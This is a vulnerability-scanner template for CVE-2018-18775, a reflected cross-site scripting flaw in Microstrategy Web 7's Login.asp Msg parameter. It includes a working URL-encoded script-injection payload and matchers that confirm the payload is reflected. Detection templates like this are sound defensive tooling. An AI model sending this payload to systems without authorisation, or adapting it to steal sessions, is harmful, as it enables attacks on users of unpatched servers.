id: CVE-2018-18775

info:
  name: Cross Site Scripting in Microstrategy Web version 7
  author: 0x_Akoko
  severity: medium
  description: Microstrategy Web, version 7, does not sufficiently encode user-controlled inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the Login.asp Msg parameter
  reference:
    - https://www.exploit-db.com/exploits/45755
    - http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html
    - https://www.exploit-db.com/exploits/45755/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-18775
    cwe-id: CWE-79
  tags: cve,cve2018,microstrategy,xss

requests:
  - method: GET
    path:
      - '{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C'
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '"><script>alert(/{{randstr}}/);</script>'
        part: body

      - type: word
        words:
          - "text/html"
        part: header